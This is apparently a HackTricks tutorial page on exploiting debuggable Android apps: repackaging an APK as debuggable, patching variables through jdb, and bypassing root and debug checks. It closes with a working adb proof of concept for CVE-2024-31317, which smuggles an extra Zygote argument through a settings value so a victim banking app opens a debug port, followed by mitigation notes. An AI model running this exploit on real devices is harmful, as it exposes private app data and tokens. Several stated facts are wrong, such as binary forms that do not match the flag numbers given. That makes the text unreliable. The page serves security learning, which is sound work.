Exploiting a debuggeable application
Reading time: 7 minutes
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Bypassing root and debuggeable checks
This section of the post is a summary from the post https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Steps to Make an Android App Debuggable and Bypass Checks
Making the App Debuggable
Content based on https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
-
Decompile the APK:
- Utilize the APK-GUI tool for decompiling the APK.
- In the android-manifest file, insert
android:debuggable="true"
to enable debugging mode. - Recompile, sign, and zipalign the modified application.
-
Install the Modified Application:
- Use the command:
adb install <application_name>
.
- Use the command:
-
Retrieve the Package Name:
- Execute
adb shell pm list packages ā3
to list third-party applications and find the package name.
- Execute
-
Set the App to Await Debugger Connection:
- Command:
adb shell am setup-debug-app āw <package_name>
. - Note: This command must be run each time before starting the application to ensure it waits for the debugger.
- For persistence, use
adb shell am setup-debug-app āw āāpersistent <package_name>
. - To remove all flags, use
adb shell am clear-debug-app <package_name>
.
- Command:
-
Prepare for Debugging in Android Studio:
- Navigate in Android Studio to File -> Open Profile or APK.
- Open the recompiled APK.
-
Set Breakpoints in Key Java Files:
- Place breakpoints in
MainActivity.java
(specifically in theonCreate
method),b.java
, andContextWrapper.java
.
- Place breakpoints in
Bypassing Checks
The application, at certain points, will verify if it is debuggable and will also check for binaries indicating a rooted device. The debugger can be used to modify app info, unset the debuggable bit, and alter the names of searched binaries to bypass these checks.
For the debuggable check:
- Modify Flag Settings:
- In the debugger console's variable section, navigate to:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Note: The binary representation of
flags = 814267974
is11000011100111011110
, indicating that the "Flag_debuggable" is active.
- In the debugger console's variable section, navigate to:
These steps collectively ensure that the application can be debugged and that certain security checks can be bypassed using the debugger, facilitating a more in-depth analysis or modification of the application's behavior.
Step 2 involves changing a flag value to 814267972, which is represented in binary as 110000101101000000100010100.
Exploiting a Vulnerability
A demonstration was provided using a vulnerable application containing a button and a textview. Initially, the application displays "Crack Me". The aim is to alter the message from "Try Again" to "Hacked" at runtime, without modifying the source code.
Checking for Vulnerability
- The application was decompiled using
apktool
to access theAndroidManifest.xml
file. - The presence of
android_debuggable="true"
in the AndroidManifest.xml indicates the application is debuggable and susceptible to exploitation. - It's worth noting that
apktool
is employed solely to check the debuggable status without altering any code.
Preparing the Setup
- The process involved initiating an emulator, installing the vulnerable application, and using
adb jdwp
to identify Dalvik VM ports that are listening. - The JDWP (Java Debug Wire Protocol) allows debugging of an application running in a VM by exposing a unique port.
- Port forwarding was necessary for remote debugging, followed by attaching JDB to the target application.
Injecting Code at Runtime
- The exploitation was carried out by setting breakpoints and controlling the application flow.
- Commands like
classes
andmethods <class_name>
were used to uncover the applicationās structure. - A breakpoint was set at the
onClick
method, and its execution was controlled. - The
locals
,next
, andset
commands were utilized to inspect and modify local variables, particularly changing the "Try Again" message to "Hacked". - The modified code was executed using the
run
command, successfully altering the applicationās output in real-time.
This example demonstrated how the behavior of a debuggable application can be manipulated, highlighting the potential for more complex exploits like gaining shell access on the device in the application's context.
2024 ā Turning any application into a debuggable process (CVE-2024-31317)
Even if the target APK is not shipped with the android:debuggable
flag, recent research showed that it is possible to force arbitrary applications to start with the DEBUG_ENABLE_JDWP
runtime flag by abusing the way Zygote parses command-line arguments.
- Vulnerability: Improper validation of
--runtime-flags
supplied through Zygoteās command socket allows an attacker that can reachsystem_server
(for example via the privilegedadb
shell which owns theWRITE_SECURE_SETTINGS
permission) to inject extra parameters. When the crafted command is replayed bysystem_server
, the victim app is forked as debuggable and with a JDWP thread listening. The issue is tracked as CVE-2024-31317 and was fixed in the June 2024 Android Security Bulletin. - Impact: Full read/write access to the private data directory of any app (including privileged ones such as
com.android.settings
), token theft, MDM bypass, and in many cases a direct path to privilege-escalation by abusing exported IPC endpoints of the now-debuggable process. - Affected versions: Android 9 through 14 prior to the June 2024 patch level.
Quick PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app ā it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
The crafted value in step 1 breaks the parser out of the āfast-pathā and appends a second synthetic command where
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) is accepted as if it had been supplied by the framework. Once the app is spawned, a JDWP socket is opened and regular dynamic-debug tricks (method replacement, variable patching, live Frida injection, etc.) are possible without modifying the APK or the device boot image.
Detection & Mitigation
- Patch to 2024-06-01 (or later) security level ā Google hardened
ZygoteCommandBuffer
so that subsequent commands cannot be smuggled in this way. - Restrict
WRITE_SECURE_SETTINGS
/shell
access on production devices. The exploit requires this permission, which is normally only held by ADB or OEM-privileged apps. - On EMM/MDM-managed fleets, enforce
ro.debuggable=0
and deny shell viaadb disable-verifier
.
References
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the š¬ Discord group or the telegram group or follow us on Twitter š¦ @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.